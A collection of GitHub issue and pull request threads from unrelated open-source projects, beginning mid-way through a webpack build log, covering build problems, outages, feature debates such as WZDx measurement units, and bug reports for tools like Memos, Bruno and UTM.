assets/images/passcore-logo.png    3.25 kB          [emitted]
assets/fonts/Roboto/latin.woff2    15.3 kB          [emitted]
assets/images/License_icon-mit.svg.png    17.9 kB          [emitted]
assets/images/osi.png    18.6 kB          [emitted]
assets/styles/indigo-pink.css    50.8 kB          [emitted]
assets/fonts/Roboto/Roboto-Regular.ttf     172 kB          [emitted]
[82] (webpack)/buildin/global.js 509 bytes {2} [built]
[184] ./ClientApp/app/change-password/app.change-password.ts 8.8 kB {1} [built]
[213] ./node_modules/@angular/core/fesm5 lazy 160 bytes {0} [built]
[214] ./ClientApp/app/dialog/app.dialog.ts 1.02 kB {1} [built]
[268] multi whatwg-fetch ./ClientApp/main.ts 40 bytes {1} [built]
[270] ./ClientApp/main.ts 572 bytes {1} [built]
[271] ./ClientApp/app/app.module.ts 2.44 kB {1} [built]
[272] ./ClientApp/app/app.routing-module.ts 907 bytes {1} [built]
[433] ./ClientApp/app/change-password/app.change-password.css 945 bytes {1} [built]
[437] ./ClientApp/app/footer/app.footer.ts 707 bytes {1} [built]
[438] ./ClientApp/app/footer/footer.html 1.53 kB {1} [built]
[439] ./ClientApp/app/footer/app.footer.css 705 bytes {1} [built]
[440] ./ClientApp/app/app.material-module.ts 1.37 kB {1} [built]
[447] ./ClientApp/vendor.ts 416 bytes {0} [built]
[449] ./ClientApp/polyfills.ts 195 bytes {2} [built]
+ 651 hidden modules
WARNING in ./node_modules/@angular/core/fesm5/core.js
4982:15-36 Critical dependency: the request of a dependency is an expression
@ ./node_modules/@angular/core/fesm5/core.js
@ ./ClientApp/main.ts
@ multi whatwg-fetch ./ClientApp/main.ts
WARNING in ./node_modules/@angular/core/fesm5/core.js
4994:15-102 Critical dependency: the request of a dependency is an expression
@ ./node_modules/@angular/core/fesm5/core.js
@ ./ClientApp/main.ts
@ multi whatwg-fetch ./ClientApp/main.ts
Child html-webpack-plugin for "index.html":
1 asset
[0] ./node_modules/html-webpack-plugin/lib/loader.js!./ClientApp/index.html 3.05 kB {0} [built]
Coping files to publish...
Unosquare.PassCore.Web -> C:\Users\muhd_halim\Desktop\Halim\chat\pw\passcore-master\
To Reproduce
Steps to reproduce the behavior:
After I executed this line <dotnet publish --configuration Release --runtime win-x64 --output ""> how can i open it?
Desktop (please complete the following information):

Windows 10 Pro
Browser [chrome]

Are you filling the output parameter?

authors: geoperez putrhlim

repo: unosquare/passcore


text:
5 times slower then before

I had installed unsloth from github and  pytorch 2.1.2 from pip and had 4 seconds/iteration. now I install unsloth 2024.11.7 from PIP and  pytorch 2.5.1 from pip and had 20 seconds/iteration. 5 times slower then before. Is the unsloth or pytorch version cause the issue? What's the different for installing unsloth from github and pip?

For which fine-tuning and which model? Llama?

Llama 3.2 1b

fine-tuning Llama 3.2 by gpu

Wait do you remember what was the previous version?

the previous version pytorch 2.1.0 and unsloth 2024.7.  these versions only start one python process but pytorch 2.5.1 and unsloth 2024.11.7 start 18 processes, I run i9 here which have 16 cpu cores and gpu 1080 ti.

authors: SidneyLann danielhanchen shimmyshimmer

repo: unslothai/unsloth


text:
Fix typo in Java README.

Removed the extraneous subdir in cd.

:tada: This PR is included in version 2.8.12 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:

authors: ashvardanian superkelvint

repo: unum-cloud/usearch


text:
charites init cannot work for tilejson of geoserver

Geoserver can produce tile.json through REST API like below
https://localhost:8080/geoserver/gwc/service/wmts/rest/undp:ne_10m_land/{style}/tilejson/pbf?format=application/json
However, charites init cannot load tilejson of geoserver.
charites init style.yml --tilejson-urls http://localhost:8080/geoserver/gwc/service/wmts/rest/undp:ne_10m_land/%7Bstyle%7D/tilejson/pbf?format=application/json
zsh: no matches found: http:///localhost:8080/geoserver/gwc/service/wmts/rest/undp:ne_10m_land/%7Bstyle%7D/tilejson/pbf?format=application/json

I assume when charites fetch tilejson, it requires specifying headers as following curl command.
curl -X GET "http://localhost:8080/geoserver/gwc/service/wmts/rest/undp:ne_10m_land/%7Bstyle%7D/tilejson/pbf?format=application/json" -H "accept:application/json" -H "content-type:application/json"

I found it is not necessary to add format=application/json for tile.json.
The following command can work for geoserver.
charites init style.yml --tilejson-urls http://localhost:8080/geoserver/gwc/service/wmts/rest/undp:ne_10m_land/%7Bstyle%7D/tilejson/pbf

repo: unvt/charites


text:
🛑 London, United Kingdom is down

In 9afbb9e, London, United Kingdom ($LONDON) was down:

HTTP code: 0
Response time: 0 ms

Resolved: London, United Kingdom is back up in 6aaf363 after 36 minutes.


text:
WIP Fixing issues with GCR

The replicationController.yaml was not properly updated in my original PR.  I have added the necessary changes to make the secret mount properly with GCR.  For now both secrets need to be added for using either AWS or GCR, we can try to support these being optional with:
https://kubernetes.io/docs/user-guide/secrets/#optional-secrets-from-environment-variables
but this is relatively new so the workaround is that both secrets are required.  Currently if either the registry-creds or gcr-creds secret is missing, the pod will not initialize.  I have changed the secret.yaml template file to have dummy data for both.

I'm hitting this right now. Is there no way currently to use this addon without having AWS creds... I don't have any and am trying to use minikube with gcr.

This seems to not try GCR after failing the authentication with AWS creds that are invalid.

@aaron-prindle I'm going to merge this then fix one more thing, I think I see why when AWS fails then the whole loop bombs. Just need to handle the error better. I'd rather just have it try both and if one fails then it will still process the other.
Just curious about the location of the default credentials mentioned above for the docs.

authors: aaron-prindle stevesloka tsloughter

repo: upmc-enterprises/registry-creds


text:
Does not work

I've placed GenericDictionaryPropertyDrawer in Assets/Editor and GenericDictionary in mys Assets folder, everything compiles, not errors, but my dictionaries are not rendered in inspector.
Do I miss something?
My dictionary declation goes like this:
public Dictionary<DropPodType, GameObject> PodTypes=new Dictionary<DropPodType, GameObject>();
DropPodType is a Enum.

Hey! If you check the class name of the source file it's actually GenericDictionary.
I have it on my to-do be list to add a namespace and just call it Dictionary or SerializableDictionary but haven't had much time as of yet.
https://github.com/upscalebaby/generic-serializable-dictionary/blob/master/code_example1.PNG

authors: DataGreed upscalebaby


text:
🛑 Badmintonclub Gstaad is down

In e7dc785, Badmintonclub Gstaad (https://www.badmintonclubgstaad.ch/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Badmintonclub Gstaad is back up in 3172b87 after 10 minutes.

repo: uptimch/uptim


text:
🛑 Homepage is down

In 0d7d256, Homepage (https://pavela.net) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Homepage is back up in d5c437f.

repo: uptimestatus/upptime


text:
json filter

JSON parsing filter added. It takes an existing field which contains JSON and expands it into an actual data structure within the log event.

Actually I've already added such a filter in Dev branch but I will take a look, maybe I can merge the two.
Thanks!!

Now I see that I didn't push it yet :sweat_smile:

Heh, bad timing on my side :) anyway, see if you can find anything useful in my PR, and let me know if I can help in any way.

it's never bad timing. In addition, I think your approach is better :)

Merged into master with few changes - I want to preserve the structure of the json.

authors: ignasv urielha


text:
Error SpinJSSpinner is not a function

Hi,
I have an error in my console.
That error is "SpinJSSpinner is not a function".
I added in the "head" section the spin.js and angular-spinner.js :
I added a dependency to my app module.
Have you an idea ?
Best regards.

I close this issue.
It's good.

repo: urish/angular-spinner


text:
Suggestion - WZDX Selected Units of Measurement - allow both English and Metric for interoperability

Summary
WZDX currently appears to be built upon metric units - kph, km, etc.  However, in order for WZDX to be an international, interoperable standard, wouldn't it make more sense to simply allow data providers to specify their own units?  This would allow either English or metric units to be used, based on the location and application in question.
Motivation
Restricting WZDX to metric units seems limiting.  In the U.S., where WZDX is first being standardized, English units of measurement such as mph are standard, and so many agencies that may wish to use the data from the feed will be operating in English units.  For example, I imagine most DOTs would like to receive and share their data in miles and mph, not in kilometers per hour, which are not units they use.  That is only a minor conversion if it is a single value, but smart work zone systems and connected devices and vehicles may end up processing millions of lines of data just for a single device.  So, it seems cumbersome and strange that a provider would need to convert millions upon millions of lines of data from mph to kph, only to have the receiving agency need to convert it back once again.  And this also creates rounding errors switching back and forth.  This is just one example, but I can imagine many applications where the main producers and receivers of this data are both operating in English units, so it seems sensible to remain with them.
It seems that it would give the feed much greater flexibility and international interoperability, simply to have a field where units are specified.
Proposed Changes
Recommend that the specification allows either English or metric units of measurement.  And recommend adding a field in the feed where this is specified.  This will allow users to use the appropriate measurements for the area and application they are operating in.

No objection. this will allow each countries to work in their native format and will allow data exchanges across the 2 units.
For us as a data producer our road side equipment such as radar are defacto in KPH and we are used for conversion but I can understand some are not and do not want to manage such process.

FYI, this discussion has already happened, see #169 and #174.
The team following presentation to and input from subgroup members decided that WZDx choosing a single unit is the cleanest approach. Converting a between speed units for presentation purposes is not an issue. Machines do not care what unit they work with.
We will bring this issue up in one of the next two subgroup meetings for another round of discussion, but it is unlikely this will be changed. It is simpler to have the specification define the standard for unit. This is done by the TMDD specification and by data producers such as Ver-Mac and GM. They use KPH internally then convert to the desired unit of the end user.

@j-d-b Thanks for the reply.  Yes, I saw issue #169.  However, that discussion was with regard to the value of a  variable speed limit, which is a single value, not for the units of the entire feed, which I would consider a very different scope, as it affects all future data streams related to the feed, which will be numerous.
Respectfully, I can't agree that choosing a single unit, which is not the unit of the country WZDX is initiating from, is cleanest nor simplest.  The only thing it would eliminate is a simple one-line entry on the feed, where a user would specify their units, based on the local standard.  But what it creates is massive amounts of unnecessary data conversion and storage on the other end.  For example, on the smart work zone data feed, a DOT within the US will require data from smart work zone providers, the data for which, they will want in English units, since KPH is not applicable for their operations.  So the smart work zone provider will need to convert all data into metric, and feed it to the DOT, which will then have to convert it back again.  And when there are questions about any data provided in the feed, it will have to be analyzed in the kph it was transmitted in, while communicated in mph, since that is what everyone is actually using.  This seems inherently messy and complex to me, not clean.
Again, this is not significant when one is thinking on the scale of a single measurement.  But we are talking about big data here, where one set of devices will generate millions and millions of lines of data.
Understood that Ver-Mac and GM may use kph internally and convert to other units.  However, the idea is for this to be an international standard that can be used by all different agencies and data providers.  So it seems to me that more flexibility will provide more utility here.  My company provides many data feeds to DOTs within the US and they always require the data in English units, since that is what they operate on.  Why not allow for this?

@devorah-ql there are several downsides and non-trivial added complexity that come from adding the ability to specify units:

It is not straightforward where to specify the units;
We may have to add and maintain a variety of enumerated types to enumerate the options for units for all options that anyone wants;
Processing software has to check the units property and have conditional logic for handling each type of unit.

For a few examples of each, using the reduced_speed_limit concept as an example:
1. Where and how to specify units
One way is to add a property for specifying the unit next to each property that needs a unit. For example, with reduced_speed_limit we could have added reduced_speed_limit_units which is restricted to a new "SpeedUnits" enumerated type with some set of options including KPH and MPH (and more?). However, then we'd need a new property for every property that used speed units.
Another option, as you suggest, is to have the unit for speed specified at the feed-level, let's call it speed_unit for this example.
A first negative is that it isn't clear what properties the speed unit applies to. The specification documentation would have to specify that, which is hard to maintain and requires processing code to have these "rules" coded in it somehow so it can know to check the feed info for the unit when parsing certain properties elsewhere on objects in the feed. I think that is unclear coupling and poor design.
Also, if we're talking about humans parsing a feed, which is the only case I see your argument relevant because machines don't care what unit they are working in, you would see the value in the reduced_speed_limit property and then have to check a different object that isn't nearby (visually) to know what unit it is. It is also easier to forget the unit than if the property name says the unit, like it does with reduced_speed_limit_kph in WZDx v4.0.
There are variations on these options, but it's hard to get around the negatives.
2. Many enumerated types with boundless options
I'll use the "SpeedUnits" enumerated type as an example again: it would have to contain many options depending on what consumers/producers use (in addition to KPH and MPH) to avoid anyone having to convert the unit.
3. Processing software has to check the units property and have conditional logic for handling each type of unit.
Parsing reduced_speed_limit_kph from a WZDx feed is trivial because you know the unit from the property name/description and thus do not need any more information to know what to do with it. If the unit was specified anywhere else and there were multiple options, processing software would have to check multiple properties and have conditional logic that parses it differently depending on the unit. Again, this is more added complexity.

@j-d-b. Thank you for explaining the complexity and the trade-offs here.  That is helpful to understand.

@j-d-b.  Thanks for explaining the potential issues.  It is helpful to understand the details and understand the concerns about complexity.
I discussed this along with a few of my developers, and here are some thoughts:

It is not straightforward where to specify the units;

The developers think this should be pretty straightforward.  It would be standard that this type of information would get specified in the root node, and based on that would apply to all the children.  For example, it could be specified in the basic info of the WZDXfeed or the RoadRestrictionFeed, or the SWZDeviceFeed.  Basic info already has to be provided there, so units could be included as well.  And then based on this, those units would apply to all children.  The developers said this type of setup is common with JSON feeds, and not complicated to process.
And agreed, the specification document would have to detail what those units are.  But it will have to do that anyways when the system is running on metric.  This would just involve adding English units as well, which should not be too onerous.  As far as parsing, the system will have to do the same things whether metric, English etc.  It will still have to know that speed values are kph, while distance values are kilometers, etc.  So either way, the units of the field have to be documented, and then taken in by the processor.

Many enumerated types with boundless options
I'll use the "SpeedUnits" enumerated type as an example again: it would have to contain many options depending on what consumers/producers use (in addition to KPH and MPH) to avoid anyone having to convert the unit.

I can understand the hesitance to open up to boundless unit variation, and agree that there doesn't seem to be a compelling reason to do so.  It seems it would be quite reasonable to restrict the feed to Metric and English units, which covers much of the world.  I don't think that all minor edge cases need to be covered.  But that doesn't stop us from covering the major units of the U.S., which is where the feed is being developed, alongside metric, which also covers much of the world.

Processing software has to check the units property and have conditional logic for handling each type of unit.

In many places, the end-users will be using English units.  So this means that the processing software is already going to have to understand units and do conversions.  So, I can't say that seems any simpler than checking units and processing based on the ones specified.  I double-checked this with my developers and they confirmed that checking units and processing based on them is simple programmatically speaking.  Those who have the skill to process a JSON feed would presumably be able to process units as well.
In terms of the desire to specify units in general, agreed that machines don't care what unit they are working in.  But the data will be used by humans, who do indeed care what units they are functioning in.  English unit users want to be told their data in English and metric users want it in metric.  Also, ultimately, the data from the feed needs to be analyzed by humans, because of the Garbage In/Garbage Out issue.  If everyone is feeding data into the system, questions will have to come up - is this good data?  What is the meaning of the data?  Etc.  So, humans will always end up coming into the analysis at some point to ensure accuracy.
In the end data can be converted.  But IMO, it just seems more straightforward for English users to be able to send their data back and forth in the same format, instead of having to convert it back and forth and back again.  Then conversion can just be done by those who need it.

Why has speed units been standardized on KPH, but roadway distance markers are in miles (WorkZoneRoadEvent, beginning_milepost and ending_milepost)?
I don't see any issue with either fixing speed units to KPH or providing a root-level localization property, in terms of computational complexity - neither are meaningfully complex and both are not nothing (convert a million KPH values to MPH, or look up a million localization properties - it's six of one, half a dozen of the other). But having a specification that mixes localization classifications is confusing.
To complicate matters further, some countries (just one?) appear to use a mixture of measurement units. I believe the UK is mostly metric, but roadway distance and speed are still in miles. I don't know if that is exclusively colloquial or if it is official (which units do UK traffic engineers work in?).
Aside, the non-metric classification is typically called "Imperial", not "English".

@dxpack yes, the milepost property naming is an issue we have discussed though it looks like it never made it into an Issue. Are you able to make an issue for making milepost naming either not specific to a unit, such as "highway location marker", or consistent with the rest of the chosen WZDx units?
As for the argument for allowing a producer to specify a unit, I am personally against it for the reasons above, primarily because I don't see any benefit in it and it adds complexity (at least another property and enumerated type). We can discuss it in the next WZDx Spec Update Subgroup meeting with all the members to come to a conclusion.

Issue: #243 beginning_milepost / ending_milepost (WorkZoneRoadEvent / DetourRoadEvent): not internationally descriptive

Closing due to low priority and the proposed ability to specify a unit is a significant breaking change (we'd have to rename  properties) with no functional value.

authors: devorah-ql dxpack j-d-b sergebeaudry

repo: usdot-jpo-ode/wzdx


text:
Investigate base maps from Mikel from OSG

https://api.mapbox.com/styles/v1/mapbox/streets-v11.html?title=true&access_token=pk.[…]ImNpejY4M29iazA2Z2gycXA4N2pmbDZmangifQ.-g_vE53SD2WrJ6tFX7QHmA
https://api.mapbox.com/styles/v1/mapbox/streets-v11.html?title=true&access_token=pk.[…]ImNpejY4M29iazA2Z2gycXA4N2pmbDZmangifQ.-g_vE53SD2WrJ6tFX7QHmA
may be able to make other changes in studio

[x] create mapbox account justice40@ mailing list
[x] enable other carto base maps
[x] view MapBox basemaps via HTML in browser
[x] view MapBox basemaps JSON in browser
[x] create mapbox styles in account
[x] list created styles using mapbox API
[x] get styles from mapbox API
[ ] figure out exactly what's needed before reaching out to Mikel (message already drafted)
[ ] integrate into app (will require a major refactor I believe)
[ ] see if base layers can improve MP as right now it's sparse

When attempting to add these base layers, it notifies with the following message:

The link goes here:
https://visgl.github.io/react-map-gl/docs/get-started/mapbox-tokens

@BethMattern and/or @KameronKerger
Gaining a better understanding of how the basemaps are working now.
Would it be possible to get some use cases around what we're trying to solve? Some theories are that

Some territories are lacking labels, eg. MP
Some parts of the US are lacking labels, e.g. AK

Is this the main issue we're trying to solve with finding other basemaps? Is there anything else?
Thanks,

@vim-usds I have an unsubstantiated theory that better a base map would improve search. they will also help with the census tract number problem since more / better labels will help people to figure out where the area is. it will also help when the user gets auto-zoomed in when selecting a tract since they would be more likely to have identifying information.

Beth and Kameron to add requested info on screenshots and associated URLs to provide objective goals for new basemap(s)

Here's an example comparing our map to the vaccines.gov map when you search for Selma Alabama:
CEJST - https://d29zfl8cj7y1zf.cloudfront.net/en/cejst#12.97/32.4143/-87.0322

vaccines.gov - https://www.vaccines.gov/results/?zipcode=36785&medications=25f1389c-5597-47cc-9a9d-3925d60d9c21&radius=25&appointments=true

@Beth - thanks this is super helpful!

south of traverse city Michigan - justice map.org vs. crust

south west of Montgomery Alabama (OpenStreetMap via treeequity score vs. cejst

datahouston vs. cejst

Brooklyn, blockmaps vs. cejst

saving these here for posterity as well

this inclusion of the surrounding census tract numbers is... something.

@KameronKerger - thanks for the awesome data points!

Investigated MapBox Raster and Vector Tiles API. It seems that the Raster Tile API integrates well into our map. Unfortunately it doesn't have many labels. Finally sent a message to Mikel on getting more information.
Moving into looking how to disable the white overlay in High Zoom

Things left to do:

[ ] remove white layer on non-prio features
[ ] refactor comments and constants on map
[ ] update PR with new findings from above
[ ] Hear back from Mikel to see if other MapBox Tilesets are available (other than example)
[ ] write up cost comparison between MapBox, MapTiler, GeoAmpify
[ ] Try out other GeoAmpify tilesets
[ ] make decision on how to move forward

Final task on this is to push forward with the paid MapBox base map and add the ability to switch from free to paid MapBox base map in the future #1133

authors: BethMattern KameronKerger vim-usds


text:
Feedback for "Response Query"

The last two sections on this page are identical – this doesn’t seem correct.
Or, does this library automatically filter when the anonymous function returns a Boolean, and filter otherwise?
[source]

@ajaishankar Can you help with the query?

@fanaugen @ganesh-bruno Thanks for pointing this out.
Yes, the library filters if the function returns boolean, maps otherwise.
The example for map in the last section is wrong - it should be
res('..items.amount[?]', amt => amt + 10)

As in the tests here.
The readme is also incorrect here

Hey @ajaishankar thanks for the review.
Yes, the library filters when the function returns a boolean, and maps otherwise.
The example for mapping in the last section is incorrect—it should be:
res('..items.amount[?]', amt => amt + 10)

I'm working on fix.

Hi @fanaugen @ajaishankar  ,
We’ve added the correct example in the Response Query Document.
Closing this issue now. If you have any other questions or issues, feel free to reach out.

authors: ajaishankar fanaugen ganesh-bruno

repo: usebruno/bruno-docs


text:
Cant press send button if URL becomes to long

I have checked the following:

[X] I use the newest version of bruno.
[X] I've searched existing issues and found nothing related to my issue.

Describe the bug
When the URL becomes to long, because for example there are to many params in a get call. Then the send button gets pushed out of the application
.bru file to reproduce the bug
No response
Screenshots/Live demo link

this issue has already been resolved, as per #2804, just not provided in v 1.24 currently

Epic!
Thanks!🤘

Closing this issue as the PR resolving the issue has been merged. The build with the fix will be released today.

authors: sanjai0py senseiBas vayalildanie

repo: usebruno/bruno


text:
Turkish translation for readme.md and contributing.md files.

Description
Turkish translation for readme.md and contributing.md files.
Contribution Checklist:

[x] I have read the contribution guidelines.
[x] The pull request does not introduce any breaking changes
[x] The pull request only addresses one issue or adds one feature.
[ ] Create an issue and link to the pull request.
[ ] I have added screenshots or gifs to help explain the change if applicable.

Thanks @DogukanUrker !!
Bruno 💛 Turkey 🇹🇷

authors: DogukanUrker helloanoop


text:
Memos container failing to start due to database migration issues.

Describe the bug
I am running Memos via Portainer on Synology NAS with PostgreSQL database based on the docker compose found here : https://mariushosting.com/how-to-install-memos-with-postgresql-on-your-synology-nas/ . Following the image upgrade to v0.22.5, the containter no longer starts due to what appears to be database migration issues. I have also done a full, clean reinstall via docker compose and the problem persists.  I have included the docker compose file and container log file for info. I am pretty sure this issue has arisen since v0.22.5 - I had no problems before.
Steps to reproduce
Docker Compose File:
version: "3.9"
services:
db:
image: postgres:16
container_name: Memos-DB
hostname: memos-db
mem_limit: 512m
cpu_shares: 768
security_opt:
- no-new-privileges:true
healthcheck:
test: ["CMD", "pg_isready", "-q", "-d", "memos", "-U", "memosuser"]
timeout: 45s
interval: 10s
retries: 10
volumes:
- /volume1/docker/memos/db:/var/lib/postgresql/data:rw
environment:
POSTGRES_DB: memos
POSTGRES_USER: memosuser
POSTGRES_PASSWORD: memospass
restart: on-failure:5
memos:
image: ghcr.io/usememos/memos:stable
container_name: Memos
hostname: memos
security_opt:
- no-new-privileges:true
healthcheck:
test: wget --no-verbose --tries=1 --spider http://localhost:5230/
user: 1026:100
ports:
- 5240:5230
environment:
MEMOS_DRIVER: postgres
MEMOS_DSN: 'postgresql://memosuser:memospass@memos-db:5432/memos?sslmode=disable'
volumes:
- /volume1/docker/memos/data:/var/opt/memos:rw
restart: on-failure:5
depends_on:
db:
condition: service_healthy
Container Log File:
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.
The database cluster will be initialized with locale "en_US.utf8".
The default database encoding has accordingly been set to "UTF8".
The default text search configuration will be set to "english".
Data page checksums are disabled.
fixing permissions on existing directory /var/lib/postgresql/data ... ok
creating subdirectories ... ok
selecting dynamic shared memory implementation ... posix
selecting default max_connections ... 100
selecting default shared_buffers ... 128MB
selecting default time zone ... Etc/UTC
creating configuration files ... ok
running bootstrap script ... ok
performing post-bootstrap initialization ... ok
initdb: warning: enabling "trust" authentication for local connections
initdb: hint: You can change this by editing pg_hba.conf or using the option -A, or --auth-local and --auth-host, the next time you run initdb.
syncing data to disk ... ok
Success. You can now start the database server using:
pg_ctl -D /var/lib/postgresql/data -l logfile start
waiting for server to start....2024-10-13 13:17:57.735 UTC [49] LOG:  starting PostgreSQL 16.4 (Debian 16.4-1.pgdg120+2) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
2024-10-13 13:17:57.737 UTC [49] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2024-10-13 13:17:57.780 UTC [52] LOG:  database system was shut down at 2024-10-13 13:17:56 UTC
2024-10-13 13:17:57.799 UTC [49] LOG:  database system is ready to accept connections
done
server started
CREATE DATABASE
/usr/local/bin/docker-entrypoint.sh: ignoring /docker-entrypoint-initdb.d/*
2024-10-13 13:17:58.557 UTC [49] LOG:  received fast shutdown request
waiting for server to shut down....2024-10-13 13:17:58.559 UTC [49] LOG:  aborting any active transactions
2024-10-13 13:17:58.561 UTC [49] LOG:  background worker "logical replication launcher" (PID 55) exited with exit code 1
2024-10-13 13:17:58.563 UTC [50] LOG:  shutting down
2024-10-13 13:17:58.577 UTC [50] LOG:  checkpoint starting: shutdown immediate
.2024-10-13 13:18:00.249 UTC [50] LOG:  checkpoint complete: wrote 922 buffers (5.6%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.324 s, sync=1.156 s, total=1.686 s; sync files=301, longest=0.108 s, average=0.004 s; distance=4255 kB, estimate=4255 kB; lsn=0/1912100, redo lsn=0/1912100
2024-10-13 13:18:00.256 UTC [49] LOG:  database system is shut down
done
server stopped
PostgreSQL init process complete; ready for start up.
2024-10-13 13:18:01.015 UTC [1] LOG:  starting PostgreSQL 16.4 (Debian 16.4-1.pgdg120+2) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
2024-10-13 13:18:01.076 UTC [1] LOG:  listening on IPv4 address "0.0.0.0", port 5432
2024-10-13 13:18:01.076 UTC [1] LOG:  listening on IPv6 address "::", port 5432
2024-10-13 13:18:01.461 UTC [1] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2024-10-13 13:18:01.506 UTC [65] LOG:  database system was shut down at 2024-10-13 13:18:00 UTC
2024-10-13 13:18:01.786 UTC [1] LOG:  database system is ready to accept connections
2024-10-13 13:18:07.127 UTC [76] ERROR:  relation "migration_history" does not exist at character 33
2024-10-13 13:18:07.127 UTC [76] STATEMENT:  SELECT version, created_ts FROM migration_history ORDER BY created_ts DESC
2024-10-13 13:23:01.608 UTC [63] LOG:  checkpoint starting: time
2024-10-13 13:23:17.217 UTC [63] LOG:  checkpoint complete: wrote 156 buffers (1.0%); 0 WAL file(s) added, 0 removed, 0 recycled; write=15.356 s, sync=0.035 s, total=15.610 s; sync files=119, longest=0.005 s, average=0.001 s; distance=805 kB, estimate=805 kB; lsn=0/19DB5C0, redo lsn=0/19DB588
The version of Memos you're using.
v.0.22.5
Screenshots or additional context
No response

Related to: https://github.com/usememos/memos/pull/3873
to solve this just change the following line in the compose:
ghcr.io/usememos/memos:stable
with
ghcr.io/usememos/memos:latest

Related to: https://github.com/usememos/memos/pull/3873
to solve this just change the following line in the compose:
ghcr.io/usememos/memos:stable
with
ghcr.io/usememos/memos:latest

Thank you @mariushosting

repo: usememos/memos


text:
Op on macOS failed -- sandboxed?

Is it a language problem only?
grsyncx opens after installation, file/folder selections are OK, but the 'simulation run' gives no progress. The app has to be killed from osx menu.
It's said due to the sandboxing permission has to be set, but on my German (DE) based macOS Sierra can't follow the instructions for System Preferences -> Security&Privacy -> Privacy tab. So no "Full Disk Access" is around there!?
Paid app but not functional .. not good!
Hope for a clearer instruction usable also on a German (DE) installation .. money back!

I have the same problem.  Left it open many hours and it had done nothing.  Nothing in the console.  I did give permissions in Security > Accessibility but it made no difference.  It won't respond to STOP or command+Q and have to force quit every time.  Simulate has the same result however STOP does work.  I didn't get from the app store but downloaded here.  Running High Sierra 10.13.6.  Could it be waiting on a response from rsync and not finding rsync?  I am running the standard install.

Doesn't work on my fresh reinstalled HighSierra 10.13.6 imac
Installed (and paid...) the app from the App store
Tried to go on System Preferences -> Security&Privacy -> Privacy tab but no parameters are availables to configure this app
I tried to copy a few folders from on location to another but I can only see a "file progress - output" window, without any other result
As there is no answer to previous questions, I copy this comment on the app store as well

authors: Silvestre1012 neandr sixstringv


text:
🛑 BellBella is down

In 6592708, BellBella (https://www.bellbella.com) was down:

HTTP code: 502
Response time: 375 ms

Resolved: BellBella is back up in c9891c4.

repo: usertoken/uptime


text:
[Bug] 邮件发送失败

根据 Go 1.22 Release Notes，目前 go 默认使用 TLS 套件版本最低为 1.2，但部分国内邮件服务商的 SMTP 服务器仍在使用 TLS 1.0-1.1。目前的实现由于未提供 TLS/SSL 相关配置项，会导致 TLS 握手失败。
关联 Issue #292

另，目前测试推送按钮未做防抖处理，也没有加载中的提示，测试推送响应比较慢的情况下用户可能会尝试重复点击，会抛出 The request was autocancelled 异常。

WIP


text:
EH 対応時の BC 展開時の EL がうるさいことを直す（時間調整時は LOW にした）

概要
EH 対応時の BC 展開時の EL がうるさいことを直す（時間調整時は LOW にした）
Issue

https://github.com/ut-issl/c2a-core/issues/389

詳細

BC 展開が時間調整でワーニングになった場合は， エラーレベルを HIGH ではなく LOW にした

検証結果
minimum uer の test が全て通った

他は良さそうです

authors: chutaro meltingrabbit


text:
TypeError: _a.isText is not a function

Describe the bug
Error after slashcommand
To Reproduce
Steps to reproduce the behavior:

Use slashcommand /tictactoe

Expected behavior
Start game
Versions
discord.js@14.1.2
discord-tictactoe@3.1.0
Screenshots

Additional context
^

Hello, the module does not support discord.js v14 yet.
Check the table with supported versions in the project readme: https://github.com/utarwyn/discord-tictactoe#installation
Duplicate of issue #311.

Version 4.0.0 of the module is now out with the support of discord.js v14 👍
More info on the release here: https://github.com/utarwyn/discord-tictactoe/releases/tag/v4.0.0

repo: utarwyn/discord-tictactoe


text:
Add major to student form

Add a field for major to the student research application form.

Completed in PR #34

repo: utdal/profiles


text:
Windows Defender not opening on UTM Windows 11 App

Windows Defender is not opening on the app. The following error appears if I try to open the WIndows Defender: "This app can't open: There's a problem with Windows Security. Reinstall the application from the original install location or contact your administrator". Please check the image below.

seeem to be having the same iisue myself

Same here

Same here. I am using MacBook Air using on M2 chip.

same here (macbook m1 2021)

Still an issue

I don’t think this is a UTM specific issue as I’ve seen the same in VMware fusion so it’s likely a limitation of the arm version of Windows.

authors: BitGrub IvanFengJK akirataguchi115 aptonline derrickmanqele mp31316 sroui

repo: utmapp/UTM


text:
WIP : Improving macos build step docs

While trying to work on : https://github.com/utmapp/UTM/pull/3792
I find that the build docs to be insufficient for my rather new macOS Monterey build (v12.3)
So tried to pick at it, between the 1 hour+ build time of github actions (my only way of validating my code is somewhat valid).
Generally this was due to missing python modules, which installing pip3 on homebrew only makes it worse. The most progress i had was as what I have modified, but it fails at the spice project build step with the following

On further investigation, this seems like a possibly known issue for spice which is covered and resolved here

https://bugs.gentoo.org/820074
https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=58996c17fc14caab6f1a678b5d326be0e76b94a4

So as it seems i might still be stuck depending on github actions to validate builds >_<"
Any feedback on the missing steps would be appreciated

Alternatively, how do I use an .xarchive (built on github) to build and run the .app (on a macbook) : without a paid apple developer account.

Ah sorry about that. It’s literally only an issue since the last few commits so I’ve never updated the docs. I was hoping to have found a better solution than the hack I put for the GitHub actions build.

@osy - no worries, im trying to update the docs, for things i find confusing.
Did manage to get a working sysRoot build downloaded from github, so will see into making those steps clearer.
Also i have seen several project branch for out a subproject specifically for just providing releases for dependencies via github releases (and automating it via CLI).
But I understand completely avoiding that route, and keeping everything in one place for now (less worry about keeping things in sync)

authors: PicoCreator osy


text:
Include 'Text Style' name in 'Get Property' output

This plug-in is very useful - it would be EVEN more useful if you could include any 'Text Style' names in the 'Get Property' output. I have Text Styles set up which the developers use in a style library, which means they don't want to know the font names and sizes - they want the Text Style names!
Many thanks,
Katy

+1 to that

+1 👍

+1 Our developer asked for this as well.

Update last version and 'Get Property' > 'Style name'

That for fast!!! Thank you!!!

authors: awt2542 bklaydman devgonz jdrewsmith katywebster utom

repo: utom/sketch-measure


text:
Feature/enable draw outline for all positionables

This enable outline drawing on all positionables.
